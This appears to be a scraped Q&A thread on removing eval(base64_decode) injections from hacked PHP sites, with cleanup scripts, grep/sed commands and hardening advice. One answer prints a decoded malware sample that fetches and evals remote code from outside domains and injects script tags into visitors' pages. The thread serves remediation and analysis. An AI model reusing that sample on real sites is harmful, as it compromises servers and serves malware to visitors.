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How to get rid of eval-base64_decode like PHP virus files?

由 让人想犯罪 __ 提交于 2019-11-26 15:54:17

Steps to recover and disinfect your site (provided you have a known good backup).

1) Shutdown the Site

You need to basically close the door to your site before you do your remedial work. This will prevent visitors getting malicious code, seeing error messages, etc. Just good practice.

You should be able to do this by putting the following into your .htaccess file in the webroot. (Replace "!!Your IP Address Here!!" with your own IP address - see http://icanhazip.com if you don't know your IP address.)

order deny,allow
deny from all
allow from !!Your IP Address Here!!

2) Download a Copy of All of your Files from the Server

Download everything into a separate folder from your good backups. This may take a while (dependent on your site size, connection speed, etc).

3) Download and Install a File/Folder Comparison Utility

On a Windows machine, you can use WinMerge - http://winmerge.org/ - it's free and quite powerful. On a MacOS machine, check out the list of possible alternates from Alternative.to

4) Run the File/Folder Comparison Utility

You should end up with a few different results:

  • Files are Identical - The current file is the same as your backup, and so is unaffected.
  • File on Left/Right Side Only - That file either only exists in the backup (and may have been deleted from the server), or only exists on the server (and may have been injected/created by the hacker).
  • File is Different - The file on the server is not the same as the one in the backup, so it may have been modified by you (to configure it for the server) or by the hacker (to inject code).

5) Resolve the Differences

(a.k.a "Why can't we all just get along?")

For Files which are Identical, no further action is required. For Files which Exist on One Side Only, look at the file and figure out whether they are legitimate (ie user uploads which should be there, additional files you may have added, etc.) For Files which are Different, look at the file (the File Difference Utility may even show you which lines have been added/modified/removed) and see whether the server version is valid. Overwrite (with the backed-up version) any files which contain malicious code.

6) Review your Security Precautions

Whether this is as simple as changing your FTP/cPanel Passwords, or reviewing your use of external/uncontrolled resources (as you mention you are performing alot of fgets, fopens, etc. you may want to check the parameters being passed to them as that is a way to make scripts pull in malicious code), etc.

7) Check the Site Works

Take the opportunity of being the only person looking at the site to make sure that everything is still operating as expected, after the infected files are corrected and malicious files have been removed.

8) Open the Doors

Reverse the changes made in the .htaccess file in Step 1. Watch carefully. Keep an eye on your visitor and error logs to see if anyone tries to trigger the removed malicious files, etc.

9) Consider Automated Detection Methods

There are a few solutions, allowing for you to have an automated check performed on your host (using a CRON job) which will detect and detail any changes which occur. Some are a bit verbose (you will get an email for each and every file changed), but you should be able to adapt them to your needs:

10) Have Scheduled Backups, and Retain a Good Bracket

Make sure you have scheduled backups performed on your website, keep a few of them, so you have different steps you can go back in time, if necessary. For instance, if you performed weekly backups, you might want to keep the following:

  • 4 x Weekly Backups
  • 4 x Monthly Backups (you retain one of the Weekly Backups, maybe the first week of the month, as the Monthly Backup)

These will always make life easier if you have someone attack your site with something a bit more destructive than a code injection attack.

Oh, and ensure you backup your databases too - with alot of sites being based on CMSes, having the files is nice, but if you lose/corrupt the database behind them, well, the backups are basically useless.

First, shut off your site until you can figure out how he got in and how to fix it. That looks like it's serving malware to your clients.

Next, search through your php files for fgets, fopen, fputs, eval, or system. I recommend notepad++ because of its "Find in Files" feature. Also, make sure that that's the only place your PHP has been modified. Do you have an offline copy to compare against?

Erion Omeri

I suffered from the same hack job. I was able to decrypt the code as well, and while I got different php code, I started by removing the injected php text by looping through each php file in the site and removing the eval call. I am still investigating how I got it to begin with but here is what mine looked like after decrypting from this website:

To decode the encrypted php script on each php file use this: http://www.opinionatedgeek.com/dotnet/tools/base64decode/

And formatting the result using this guy: http://beta.phpformatter.com/

To clean you need to remove the "eval" line from the top of each php file, and delete the .log folders from the base folder of the website.

I found a python script which I modified slightly to remove the trojan in php files so I will post it here for others to use: code source from thread: replace ALL instances of a character with another one in all files hierarchically in directory tree

import os
import re
import sys

def try_to_replace(fname):
    if replace_extensions: 
        return fname.lower().endswith(".php")
    return True


def file_replace(fname, pat, s_after):
    # first, see if the pattern is even in the file.
    with open(fname) as f:
        if not any(re.search(pat, line) for line in f):
            return # pattern does not occur in file so we are done.

    # pattern is in the file, so perform replace operation.
    with open(fname) as f:
        out_fname = fname + ".tmp"
        out = open(out_fname, "w")
        for line in f:
            out.write(re.sub(pat, s_after, line))
        out.close()
        os.rename(out_fname, fname)


def mass_replace(dir_name, s_before, s_after):
    pat = re.compile(s_before)
    for dirpath, dirnames, filenames in os.walk(dir_name):
        for fname in filenames:
            if try_to_replace(fname):
                print "cleaning: " + fname
                fullname = os.path.join(dirpath, fname)
                file_replace(fullname, pat, s_after)

if len(sys.argv) != 2:
    u = "Usage: rescue.py <dir_name>\n"
    sys.stderr.write(u)
    sys.exit(1)

mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")

to use type

python rescue.py rootfolder

This is what the malicious script was trying to do:

<?php

if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (!function_exists('mrobh')) {
        function get_tds_777($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;

            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }

        function trycurl_777($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f   = @fopen($url, 'r');
            if ($f) {
                while (!feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $f    = @fsockopen($host, 80, $errno, $errstr, 30);
            if (!$f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (!feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function trysocket_777($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $ip1  = @gethostbyname($host);
            $ip2  = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (!@socket_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function update_tds_file_777($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val     = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir           = $_SERVER['s_p1'];
            $tdsfile       = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c   = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (!@is_dir($rz)) {
                @mkdir($rz);
                if (@is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (!@is_dir($rz)) {
                        @mkdir($rz);
                        if (@is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua  = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1']     = $mz;
            $_SERVER['s_b1']     = $bot;
            $_SERVER['s_t1']     = 1200;
            $_SERVER['s_d1']     = base64_decode('http://ens122zzzddazz.com/');
            $d                   = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1']     = base64_decode('http://cooperjsutf8.ru/g_load.php') . $d;
            $_SERVER['s_a2']     = base64_decode('http://nlinthewood.com/g_load.php') . $d;
            $_SERVER['s_script'] = "nl.php?p=d";
        }
        setup_globals_777();
        if (!function_exists('gml_777')) {
            function gml_777()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
                return $r_string_777;
            }
        }
        if (!function_exists('gzdecodeit')) {
            function gzdecodeit($decode)
            {
                $t     = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v     = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }
        ob_start('mrobh');
    }
}

?>

To get rid of these malicious PHP you simply needs to remove them. If the file is infected, you need to remove only the part which looks suspicious.

It's always tricky to find these files, because usually there are multiple of them across your web root.

Usually if you see some kind of obfuscations, it's red alert for you.

Most of the malwares are easy to find based on the common functions which they use, this includes:

  • base64_decode,
  • lzw_decompress,
  • eval,
  • and so on

By using encoding format, they're compacting their size and make them more difficult to decode by non-experienced users.

Here are few grep commands which may find the most common malware PHP code:

grep -R return.*base64_decode  .
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .

You can run these commands on the server or once you synchronised your website into your local machine (via FTP e.g. ncftpget -R).

Or use scan tools which are specially designed for finding that kind of malicious files, see: PHP security scanners.

For education purposes, please find the following collection of PHP exploit scripts, found when investigating hacked servers available at kenorb/php-exploit-scripts GitHub (influenced by @Mattias original collection). This will give you understanding how these PHP suspicious files look like, so you can learn how to find more of them on your server.

See also:

My websites / or websites I host were hit several times with similar attacks.

I present what I did to resolve the issue. I don't pretend it's the best / easiest approach but it works and since then I can proactively keep the ball in my field.

  1. solve the issue ASAP I created a very simple PHP script (it was written when the iron was hot so maybe it's not the most optimized code BUT it solves the problem pretty fast): http://www.ecommy.com/web-security/clean-php-files-from-eval-infection

  2. make sure you know when something like this hits again. Hackers use all kind of aproaches from SQL injection of one of your external modules you install to brute force your admin panel with dictionary attacks or very well known password patterns like 1qaz... qwerty.... etc... I present the scripts here: http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections

  3. the cron entry would be something like: 0 2 * * 5 /root/scripts/base64eval_scan > /dev/null 2>&1&

I updated the pages so someone can download directly the files. Hope it will he useful for you as it's for me :)

  1. Ensure any popular web applications like Wordpress or vBulletin are updated. There are many exploits with the old versions that can lead to your server getting compromised and it will probably happen again if they are not updated. No use in proceeding until this is done.

  2. If the files keep getting replaced then there is a rootkit or trojan running in the background. That file cannot replicate itself. You will have to get rid of the rootkit first. Try rkhunter, chkrootkit, and LMD. Compare the output of ps aux to a secured server and check /var/tmp and /tmp for suspicious files. You might have to reinstall the OS.

  3. Ensure all workstations administrating the server are up to date and clean. Do not connect via insecure wireless connections or use plain text authentication like with FTP (use SFTP instead). Only log into control panels with https.

  4. To prevent this from happening again run csf or comparable firewall, daily LMD scans, and stay current with the latest security patches for all applications on the server.

Assuming this is a Linux-based server and you have SSH access, you could run this to remove the offending code:

find . -name "*.php" | xargs sed -i 's@eval[ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;@@'

This covers all known base64 implementations, and will work whether the base64 text is surrounded by single or double quotes

EDIT: now works with internal whitespace also

标签
php
security
virus
deobfuscation
malware-detection
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